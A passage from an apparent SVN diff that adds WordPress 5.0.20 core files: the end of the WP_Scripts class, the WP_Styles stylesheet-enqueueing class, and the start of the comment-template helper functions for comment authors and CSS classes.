+			$grp = 1;
+		else
+			$grp = (int) $this->get_data( $handle, 'group' );
+
+		if ( false !== $group && $grp > $group )
+			$grp = $group;
+
+		return parent::set_group( $handle, $recursion, $grp );
+	}
+
+	/**
+	 * Sets a translation textdomain.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $handle Name of the script to register a translation domain to.
+	 * @param string $domain The textdomain.
+	 * @param string $path   Optional. The full file path to the directory containing translation files.
+	 *
+	 * @return bool True if the textdomain was registered, false if not.
+	 */
+	public function set_translations( $handle, $domain, $path = null ) {
+		if ( ! isset( $this->registered[ $handle ] ) ) {
+			return false;
+		}
+
+		/** @var \_WP_Dependency $obj */
+		$obj = $this->registered[ $handle ];
+
+		if ( ! in_array( 'wp-i18n', $obj->deps, true ) ) {
+			$obj->deps[] = 'wp-i18n';
+		}
+		return $obj->set_translations( $domain, $path );
+	}
+
+	/**
+	 * Prints translations set for a specific handle.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $handle Name of the script to add the inline script to. Must be lowercase.
+	 * @param bool   $echo   Optional. Whether to echo the script instead of just returning it.
+	 *                       Default true.
+	 * @return string|false Script on success, false otherwise.
+	 */
+	public function print_translations( $handle, $echo = true ) {
+		if ( ! isset( $this->registered[ $handle ] ) || empty( $this->registered[ $handle ]->textdomain ) ) {
+			return false;
+		}
+
+		$domain = $this->registered[ $handle ]->textdomain;
+		$path   = $this->registered[ $handle ]->translations_path;
+
+		$json_translations = load_script_textdomain( $handle, $domain, $path );
+
+		if ( ! $json_translations ) {
+			// Register empty locale data object to ensure the domain still exists.
+			$json_translations = '{ "locale_data": { "messages": { "": {} } } }';
+		}
+
+		$output = <<<JS
+( function( domain, translations ) {
+	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
+	localeData[""].domain = domain;
+	wp.i18n.setLocaleData( localeData, domain );
+} )( "{$domain}", {$json_translations} );
+JS;
+
+		if ( $echo ) {
+			printf( "<script type='text/javascript'>\n%s\n</script>\n", $output );
+		}
+
+		return $output;
+	}
+
+	/**
+	 * Determines script dependencies.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see WP_Dependencies::all_deps()
+	 *
+	 * @param mixed     $handles   Item handle and argument (string) or item handles and arguments (array of strings).
+	 * @param bool      $recursion Internal flag that function is calling itself.
+	 * @param int|false $group     Optional. Group level: (int) level, (false) no groups. Default false.
+	 * @return bool True on success, false on failure.
+	 */
+	public function all_deps( $handles, $recursion = false, $group = false ) {
+		$r = parent::all_deps( $handles, $recursion, $group );
+		if ( ! $recursion ) {
+			/**
+			 * Filters the list of script dependencies left to print.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param array $to_do An array of script dependencies.
+			 */
+			$this->to_do = apply_filters( 'print_scripts_array', $this->to_do );
+		}
+		return $r;
+	}
+
+	/**
+	 * Processes items and dependencies for the head group.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see WP_Dependencies::do_items()
+	 *
+	 * @return array Handles of items that have been processed.
+	 */
+	public function do_head_items() {
+		$this->do_items(false, 0);
+		return $this->done;
+	}
+
+	/**
+	 * Processes items and dependencies for the footer group.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see WP_Dependencies::do_items()
+	 *
+	 * @return array Handles of items that have been processed.
+	 */
+	public function do_footer_items() {
+		$this->do_items(false, 1);
+		return $this->done;
+	}
+
+	/**
+	 * Whether a handle's source is in a default directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $src The source of the enqueued script.
+	 * @return bool True if found, false if not.
+	 */
+	public function in_default_dir( $src ) {
+		if ( ! $this->default_dirs ) {
+			return true;
+		}
+
+		if ( 0 === strpos( $src, '/' . WPINC . '/js/l10n' ) ) {
+			return false;
+		}
+
+		foreach ( (array) $this->default_dirs as $test ) {
+			if ( 0 === strpos( $src, $test ) ) {
+				return true;
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Resets class properties.
+	 *
+	 * @since 2.8.0
+	 */
+	public function reset() {
+		$this->do_concat = false;
+		$this->print_code = '';
+		$this->concat = '';
+		$this->concat_version = '';
+		$this->print_html = '';
+		$this->ext_version = '';
+		$this->ext_handles = '';
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class.wp-styles.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class.wp-styles.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class.wp-styles.php	(revision 56912)
@@ -0,0 +1,388 @@
+<?php
+/**
+ * Dependencies API: WP_Styles class
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage Dependencies
+ */
+
+/**
+ * Core class used to register styles.
+ *
+ * @since 2.6.0
+ *
+ * @see WP_Dependencies
+ */
+class WP_Styles extends WP_Dependencies {
+	/**
+	 * Base URL for styles.
+	 *
+	 * Full URL with trailing slash.
+	 *
+	 * @since 2.6.0
+	 * @var string
+	 */
+	public $base_url;
+
+	/**
+	 * URL of the content directory.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $content_url;
+
+	/**
+	 * Default version string for stylesheets.
+	 *
+	 * @since 2.6.0
+	 * @var string
+	 */
+	public $default_version;
+
+	/**
+	 * The current text direction.
+	 *
+	 * @since 2.6.0
+	 * @var string
+	 */
+	public $text_direction = 'ltr';
+
+	/**
+	 * Holds a list of style handles which will be concatenated.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $concat = '';
+
+	/**
+	 * Holds a string which contains style handles and their version.
+	 *
+	 * @since 2.8.0
+	 * @deprecated 3.4.0
+	 * @var string
+	 */
+	public $concat_version = '';
+
+	/**
+	 * Whether to perform concatenation.
+	 *
+	 * @since 2.8.0
+	 * @var bool
+	 */
+	public $do_concat = false;
+
+	/**
+	 * Holds HTML markup of styles and additional data if concatenation
+	 * is enabled.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $print_html = '';
+
+	/**
+	 * Holds inline styles if concatenation is enabled.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $print_code = '';
+
+	/**
+	 * List of default directories.
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $default_dirs;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 2.6.0
+	 */
+	public function __construct() {
+		/**
+		 * Fires when the WP_Styles instance is initialized.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param WP_Styles $this WP_Styles instance (passed by reference).
+		 */
+		do_action_ref_array( 'wp_default_styles', array(&$this) );
+	}
+
+	/**
+	 * Processes a style dependency.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @see WP_Dependencies::do_item()
+	 *
+	 * @param string $handle The style's registered handle.
+	 * @return bool True on success, false on failure.
+	 */
+	public function do_item( $handle ) {
+		if ( !parent::do_item($handle) )
+			return false;
+
+		$obj = $this->registered[$handle];
+		if ( null === $obj->ver )
+			$ver = '';
+		else
+			$ver = $obj->ver ? $obj->ver : $this->default_version;
+
+		if ( isset($this->args[$handle]) )
+			$ver = $ver ? $ver . '&amp;' . $this->args[$handle] : $this->args[$handle];
+
+		if ( $this->do_concat ) {
+			if ( $this->in_default_dir($obj->src) && !isset($obj->extra['conditional']) && !isset($obj->extra['alt']) ) {
+				$this->concat .= "$handle,";
+				$this->concat_version .= "$handle$ver";
+
+				$this->print_code .= $this->print_inline_style( $handle, false );
+
+				return true;
+			}
+		}
+
+		if ( isset($obj->args) )
+			$media = esc_attr( $obj->args );
+		else
+			$media = 'all';
+
+		// A single item may alias a set of items, by having dependencies, but no source.
+		if ( ! $obj->src ) {
+			if ( $inline_style = $this->print_inline_style( $handle, false ) ) {
+				$inline_style = sprintf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $inline_style );
+				if ( $this->do_concat ) {
+					$this->print_html .= $inline_style;
+				} else {
+					echo $inline_style;
+				}
+			}
+			return true;
+		}
+
+		$href = $this->_css_href( $obj->src, $ver, $handle );
+		if ( ! $href ) {
+			return true;
+		}
+
+		$rel = isset($obj->extra['alt']) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet';
+		$title = isset($obj->extra['title']) ? "title='" . esc_attr( $obj->extra['title'] ) . "'" : '';
+
+		/**
+		 * Filters the HTML link tag of an enqueued style.
+		 *
+		 * @since 2.6.0
+		 * @since 4.3.0 Introduced the `$href` parameter.
+		 * @since 4.5.0 Introduced the `$media` parameter.
+		 *
+		 * @param string $html   The link tag for the enqueued style.
+		 * @param string $handle The style's registered handle.
+		 * @param string $href   The stylesheet's source URL.
+		 * @param string $media  The stylesheet's media attribute.
+		 */
+		$tag = apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-css' $title href='$href' type='text/css' media='$media' />\n", $handle, $href, $media);
+		if ( 'rtl' === $this->text_direction && isset($obj->extra['rtl']) && $obj->extra['rtl'] ) {
+			if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) {
+				$suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : '';
+				$rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $obj->src , $ver, "$handle-rtl" ));
+			} else {
+				$rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" );
+			}
+
+			/** This filter is documented in wp-includes/class.wp-styles.php */
+			$rtl_tag = apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-rtl-css' $title href='$rtl_href' type='text/css' media='$media' />\n", $handle, $rtl_href, $media );
+
+			if ( $obj->extra['rtl'] === 'replace' ) {
+				$tag = $rtl_tag;
+			} else {
+				$tag .= $rtl_tag;
+			}
+		}
+
+		$conditional_pre = $conditional_post = '';
+		if ( isset( $obj->extra['conditional'] ) && $obj->extra['conditional'] ) {
+			$conditional_pre  = "<!--[if {$obj->extra['conditional']}]>\n";
+			$conditional_post = "<![endif]-->\n";
+		}
+
+		if ( $this->do_concat ) {
+			$this->print_html .= $conditional_pre;
+			$this->print_html .= $tag;
+			if ( $inline_style = $this->print_inline_style( $handle, false ) ) {
+				$this->print_html .= sprintf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $inline_style );
+			}
+			$this->print_html .= $conditional_post;
+		} else {
+			echo $conditional_pre;
+			echo $tag;
+			$this->print_inline_style( $handle );
+			echo $conditional_post;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Adds extra CSS styles to a registered stylesheet.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $handle The style's registered handle.
+	 * @param string $code   String containing the CSS styles to be added.
+	 * @return bool True on success, false on failure.
+	 */
+	public function add_inline_style( $handle, $code ) {
+		if ( ! $code ) {
+			return false;
+		}
+
+		$after = $this->get_data( $handle, 'after' );
+		if ( ! $after ) {
+			$after = array();
+		}
+
+		$after[] = $code;
+
+		return $this->add_data( $handle, 'after', $after );
+	}
+
+	/**
+	 * Prints extra CSS styles of a registered stylesheet.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $handle The style's registered handle.
+	 * @param bool   $echo   Optional. Whether to echo the inline style instead of just returning it.
+	 *                       Default true.
+	 * @return string|bool False if no data exists, inline styles if `$echo` is true, true otherwise.
+	 */
+	public function print_inline_style( $handle, $echo = true ) {
+		$output = $this->get_data( $handle, 'after' );
+
+		if ( empty( $output ) ) {
+			return false;
+		}
+
+		$output = implode( "\n", $output );
+
+		if ( ! $echo ) {
+			return $output;
+		}
+
+		printf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $output );
+
+		return true;
+	}
+
+	/**
+	 * Determines style dependencies.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @see WP_Dependencies::all_deps()
+	 *
+	 * @param mixed     $handles   Item handle and argument (string) or item handles and arguments (array of strings).
+	 * @param bool      $recursion Internal flag that function is calling itself.
+	 * @param int|false $group     Group level: (int) level, (false) no groups.
+	 * @return bool True on success, false on failure.
+	 */
+	public function all_deps( $handles, $recursion = false, $group = false ) {
+		$r = parent::all_deps( $handles, $recursion, $group );
+		if ( ! $recursion ) {
+			/**
+			 * Filters the array of enqueued styles before processing for output.
+			 *
+			 * @since 2.6.0
+			 *
+			 * @param array $to_do The list of enqueued styles about to be processed.
+			 */
+			$this->to_do = apply_filters( 'print_styles_array', $this->to_do );
+		}
+		return $r;
+	}
+
+	/**
+	 * Generates an enqueued style's fully-qualified URL.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $src The source of the enqueued style.
+	 * @param string $ver The version of the enqueued style.
+	 * @param string $handle The style's registered handle.
+	 * @return string Style's fully-qualified URL.
+	 */
+	public function _css_href( $src, $ver, $handle ) {
+		if ( !is_bool($src) && !preg_match('|^(https?:)?//|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) {
+			$src = $this->base_url . $src;
+		}
+
+		if ( !empty($ver) )
+			$src = add_query_arg('ver', $ver, $src);
+
+		/**
+		 * Filters an enqueued style's fully-qualified URL.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $src    The source URL of the enqueued style.
+		 * @param string $handle The style's registered handle.
+		 */
+		$src = apply_filters( 'style_loader_src', $src, $handle );
+		return esc_url( $src );
+	}
+
+	/**
+	 * Whether a handle's source is in a default directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $src The source of the enqueued style.
+	 * @return bool True if found, false if not.
+	 */
+	public function in_default_dir( $src ) {
+		if ( ! $this->default_dirs )
+			return true;
+
+		foreach ( (array) $this->default_dirs as $test ) {
+			if ( 0 === strpos($src, $test) )
+				return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Processes items and dependencies for the footer group.
+	 *
+	 * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @see WP_Dependencies::do_items()
+	 *
+	 * @return array Handles of items that have been processed.
+	 */
+	public function do_footer_items() {
+		$this->do_items(false, 1);
+		return $this->done;
+	}
+
+	/**
+	 * Resets class properties.
+	 *
+	 * @since 3.3.0
+	 */
+	public function reset() {
+		$this->do_concat = false;
+		$this->concat = '';
+		$this->concat_version = '';
+		$this->print_html = '';
+	}
+}
Index: /tags/5.0.20/src/wp-includes/comment-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/comment-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/comment-template.php	(revision 56912)
@@ -0,0 +1,2485 @@
+<?php
+/**
+ * Comment template functions
+ *
+ * These functions are meant to live inside of the WordPress loop.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve the author of the current comment.
+ *
+ * If the comment has an empty comment_author field, then 'Anonymous' person is
+ * assumed.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to retrieve the author.
+ *									 Default current comment.
+ * @return string The comment author
+ */
+function get_comment_author( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	if ( empty( $comment->comment_author ) ) {
+		if ( $comment->user_id && $user = get_userdata( $comment->user_id ) )
+			$author = $user->display_name;
+		else
+			$author = __('Anonymous');
+	} else {
+		$author = $comment->comment_author;
+	}
+
+	/**
+	 * Filters the returned comment author name.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string     $author     The comment author's username.
+	 * @param int        $comment_ID The comment ID.
+	 * @param WP_Comment $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_author', $author, $comment->comment_ID, $comment );
+}
+
+/**
+ * Displays the author of the current comment.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author.
+ *									 Default current comment.
+ */
+function comment_author( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	$author  = get_comment_author( $comment );
+
+	/**
+	 * Filters the comment author's name for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $author     The comment author's username.
+	 * @param int    $comment_ID The comment ID.
+	 */
+	echo apply_filters( 'comment_author', $author, $comment->comment_ID );
+}
+
+/**
+ * Retrieve the email of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's email.
+ *									 Default current comment.
+ * @return string The current comment author's email
+ */
+function get_comment_author_email( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	/**
+	 * Filters the comment author's returned email address.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string     $comment_author_email The comment author's email address.
+	 * @param int        $comment_ID           The comment ID.
+	 * @param WP_Comment $comment              The comment object.
+	 */
+	return apply_filters( 'get_comment_author_email', $comment->comment_author_email, $comment->comment_ID, $comment );
+}
+
+/**
+ * Display the email of the author of the current global $comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the site. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's email.
+ *									 Default current comment.
+ */
+function comment_author_email( $comment_ID = 0 ) {
+	$comment      = get_comment( $comment_ID );
+	$author_email = get_comment_author_email( $comment );
+
+	/**
+	 * Filters the comment author's email for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $author_email The comment author's email address.
+	 * @param int    $comment_ID   The comment ID.
+	 */
+	echo apply_filters( 'author_email', $author_email, $comment->comment_ID );
+}
+
+/**
+ * Display the html email link to the author of the current comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the site. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 0.71
+ * @since 4.6.0 Added the `$comment` parameter.
+ *
+ * @param string         $linktext Optional. Text to display instead of the comment author's email address.
+ *                                 Default empty.
+ * @param string         $before   Optional. Text or HTML to display before the email link. Default empty.
+ * @param string         $after    Optional. Text or HTML to display after the email link. Default empty.
+ * @param int|WP_Comment $comment  Optional. Comment ID or WP_Comment object. Default is the current comment.
+ */
+function comment_author_email_link( $linktext = '', $before = '', $after = '', $comment = null ) {
+	if ( $link = get_comment_author_email_link( $linktext, $before, $after, $comment ) ) {
+		echo $link;
+	}
+}
+
+/**
+ * Return the html email link to the author of the current comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the site. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 2.7.0
+ * @since 4.6.0 Added the `$comment` parameter.
+ *
+ * @param string         $linktext Optional. Text to display instead of the comment author's email address.
+ *                                 Default empty.
+ * @param string         $before   Optional. Text or HTML to display before the email link. Default empty.
+ * @param string         $after    Optional. Text or HTML to display after the email link. Default empty.
+ * @param int|WP_Comment $comment  Optional. Comment ID or WP_Comment object. Default is the current comment.
+ * @return string HTML markup for the comment author email link. By default, the email address is obfuscated
+ *                via the {@see 'comment_email'} filter with antispambot().
+ */
+function get_comment_author_email_link( $linktext = '', $before = '', $after = '', $comment = null ) {
+	$comment = get_comment( $comment );
+
+	/**
+	 * Filters the comment author's email for display.
+	 *
+	 * Care should be taken to protect the email address and assure that email
+	 * harvesters do not capture your commenter's email address.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment` parameter was added.
+	 *
+	 * @param string     $comment_author_email The comment author's email address.
+	 * @param WP_Comment $comment              The comment object.
+	 */
+	$email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );
+
+	if ((!empty($email)) && ($email != '@')) {
+	$display = ($linktext != '') ? $linktext : $email;
+		$return  = $before;
+		$return .= sprintf( '<a href="%1$s">%2$s</a>', esc_url( 'mailto:' . $email ), esc_html( $display ) );
+	 	$return .= $after;
+		return $return;
+	} else {
+		return '';
+	}
+}
+
+/**
+ * Retrieve the HTML link to the URL of the author of the current comment.
+ *
+ * Both get_comment_author_url() and get_comment_author() rely on get_comment(),
+ * which falls back to the global comment variable if the $comment_ID argument is empty.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's link.
+ *									 Default current comment.
+ * @return string The comment author name or HTML link for author's URL.
+ */
+function get_comment_author_link( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	$url     = get_comment_author_url( $comment );
+	$author  = get_comment_author( $comment );
+
+	if ( empty( $url ) || 'http://' == $url )
+		$return = $author;
+	else
+		$return = "<a href='$url' rel='external nofollow' class='url'>$author</a>";
+
+	/**
+	 * Filters the comment author's link for display.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$author` and `$comment_ID` parameters were added.
+	 *
+	 * @param string $return     The HTML-formatted comment author link.
+	 *                           Empty for an invalid URL.
+	 * @param string $author     The comment author's username.
+	 * @param int    $comment_ID The comment ID.
+	 */
+	return apply_filters( 'get_comment_author_link', $return, $author, $comment->comment_ID );
+}
+
+/**
+ * Display the html link to the url of the author of the current comment.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's link.
+ *									 Default current comment.
+ */
+function comment_author_link( $comment_ID = 0 ) {
+	echo get_comment_author_link( $comment_ID );
+}
+
+/**
+ * Retrieve the IP address of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's IP address.
+ *									 Default current comment.
+ * @return string Comment author's IP address.
+ */
+function get_comment_author_IP( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	/**
+	 * Filters the comment author's returned IP address.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string     $comment_author_IP The comment author's IP address.
+	 * @param int        $comment_ID        The comment ID.
+	 * @param WP_Comment $comment           The comment object.
+	 */
+	return apply_filters( 'get_comment_author_IP', $comment->comment_author_IP, $comment->comment_ID, $comment );
+}
+
+/**
+ * Display the IP address of the author of the current comment.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's IP address.
+ *									 Default current comment.
+ */
+function comment_author_IP( $comment_ID = 0 ) {
+	echo esc_html( get_comment_author_IP( $comment_ID ) );
+}
+
+/**
+ * Retrieve the url of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's URL.
+ *									 Default current comment.
+ * @return string Comment author URL.
+ */
+function get_comment_author_url( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	$url = '';
+	$id = 0;
+	if ( ! empty( $comment ) ) {
+		$author_url = ( 'http://' == $comment->comment_author_url ) ? '' : $comment->comment_author_url;
+		$url = esc_url( $author_url, array( 'http', 'https' ) );
+		$id = $comment->comment_ID;
+	}
+
+	/**
+	 * Filters the comment author's URL.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string     $url        The comment author's URL.
+	 * @param int        $comment_ID The comment ID.
+	 * @param WP_Comment $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_author_url', $url, $id, $comment );
+}
+
+/**
+ * Display the url of the author of the current comment.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's URL.
+ *									 Default current comment.
+ */
+function comment_author_url( $comment_ID = 0 ) {
+	$comment    = get_comment( $comment_ID );
+	$author_url = get_comment_author_url( $comment );
+
+	/**
+	 * Filters the comment author's URL for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $author_url The comment author's URL.
+	 * @param int    $comment_ID The comment ID.
+	 */
+	echo apply_filters( 'comment_url', $author_url, $comment->comment_ID );
+}
+
+/**
+ * Retrieves the HTML link of the url of the author of the current comment.
+ *
+ * $linktext parameter is only used if the URL does not exist for the comment
+ * author. If the URL does exist then the URL will be used and the $linktext
+ * will be ignored.
+ *
+ * Encapsulate the HTML link between the $before and $after. So it will appear
+ * in the order of $before, link, and finally $after.
+ *
+ * @since 1.5.0
+ * @since 4.6.0 Added the `$comment` parameter.
+ *
+ * @param string         $linktext Optional. The text to display instead of the comment
+ *                                 author's email address. Default empty.
+ * @param string         $before   Optional. The text or HTML to display before the email link.
+ *                                 Default empty.
+ * @param string         $after    Optional. The text or HTML to display after the email link.
+ *                                 Default empty.
+ * @param int|WP_Comment $comment  Optional. Comment ID or WP_Comment object.
+ *                                 Default is the current comment.
+ * @return string The HTML link between the $before and $after parameters.
+ */
+function get_comment_author_url_link( $linktext = '', $before = '', $after = '', $comment = 0 ) {
+	$url = get_comment_author_url( $comment );
+	$display = ($linktext != '') ? $linktext : $url;
+	$display = str_replace( 'http://www.', '', $display );
+	$display = str_replace( 'http://', '', $display );
+
+	if ( '/' == substr($display, -1) ) {
+		$display = substr($display, 0, -1);
+	}
+
+	$return = "$before<a href='$url' rel='external'>$display</a>$after";
+
+	/**
+	 * Filters the comment author's returned URL link.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $return The HTML-formatted comment author URL link.
+	 */
+	return apply_filters( 'get_comment_author_url_link', $return );
+}
+
+/**
+ * Displays the HTML link of the url of the author of the current comment.
+ *
+ * @since 0.71
+ * @since 4.6.0 Added the `$comment` parameter.
+ *
+ * @param string         $linktext Optional. Text to display instead of the comment author's
+ *                                 email address. Default empty.
+ * @param string         $before   Optional. Text or HTML to display before the email link.
+ *                                 Default empty.
+ * @param string         $after    Optional. Text or HTML to display after the email link.
+ *                                 Default empty.
+ * @param int|WP_Comment $comment  Optional. Comment ID or WP_Comment object.
+ *                                 Default is the current comment.
+ */
+function comment_author_url_link( $linktext = '', $before = '', $after = '', $comment = 0 ) {
+	echo get_comment_author_url_link( $linktext, $before, $after, $comment );
+}
+
+/**
+ * Generates semantic classes for each comment element.
+ *
+ * @since 2.7.0
+ * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object.
+ *
+ * @param string|array   $class    Optional. One or more classes to add to the class list.
+ *                                 Default empty.
+ * @param int|WP_Comment $comment  Comment ID or WP_Comment object. Default current comment.
+ * @param int|WP_Post    $post_id  Post ID or WP_Post object. Default current post.
+ * @param bool           $echo     Optional. Whether to cho or return the output.
+ *                                 Default true.
+ * @return string If `$echo` is false, the class will be returned. Void otherwise.
+ */
+function comment_class( $class = '', $comment = null, $post_id = null, $echo = true ) {
+	// Separates classes with a single space, collates classes for comment DIV
+	$class = 'class="' . join( ' ', get_comment_class( $class, $comment, $post_id ) ) . '"';
+	if ( $echo)
+		echo $class;
+	else
+		return $class;
+}
+
+/**
+ * Returns the classes for the comment div as an array.
+ *
+ * @since 2.7.0
+ * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
+ *
+ * @global int $comment_alt
+ * @global int $comment_depth
+ * @global int $comment_thread_alt
+ *
+ * @param string|array   $class      Optional. One or more classes to add to the class list. Default empty.
+ * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. Default current comment.
+ * @param int|WP_Post    $post_id    Post ID or WP_Post object. Default current post.
+ * @return array An array of classes.
+ */
+function get_comment_class( $class = '', $comment_id = null, $post_id = null ) {
+	global $comment_alt, $comment_depth, $comment_thread_alt;
+
+	$classes = array();
+
+	$comment = get_comment( $comment_id );
+	if ( ! $comment ) {
+		return $classes;
+	}
+
+	// Get the comment type (comment, trackback),
+	$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;
+
+	// Add classes for comment authors that are registered users.
+	if ( $comment->user_id > 0 && $user = get_userdata( $comment->user_id ) ) {
+		$classes[] = 'byuser';
+		$classes[] = 'comment-author-' . sanitize_html_class( $user->user_nicename, $comment->user_id );
+		// For comment authors who are the author of the post
+		if ( $post = get_post($post_id) ) {
+			if ( $comment->user_id === $post->post_author ) {
+				$classes[] = 'bypostauthor';
+			}
+		}
+	}
+
+	if ( empty($comment_alt) )
+		$comment_alt = 0;
+	if ( empty($comment_depth) )
+		$comment_depth = 1;
+	if ( empty($comment_thread_alt) )
+		$comment_thread_alt = 0;
+
+	if ( $comment_alt % 2 ) {
+		$classes[] = 'odd';
+		$classes[] = 'alt';
+	} else {
+		$classes[] = 'even';
+	}
+
+	$comment_alt++;
+
+	// Alt for top-level comments
+	if ( 1 == $comment_depth ) {
+		if ( $comment_thread_alt % 2 ) {
+			$classes[] = 'thread-odd';
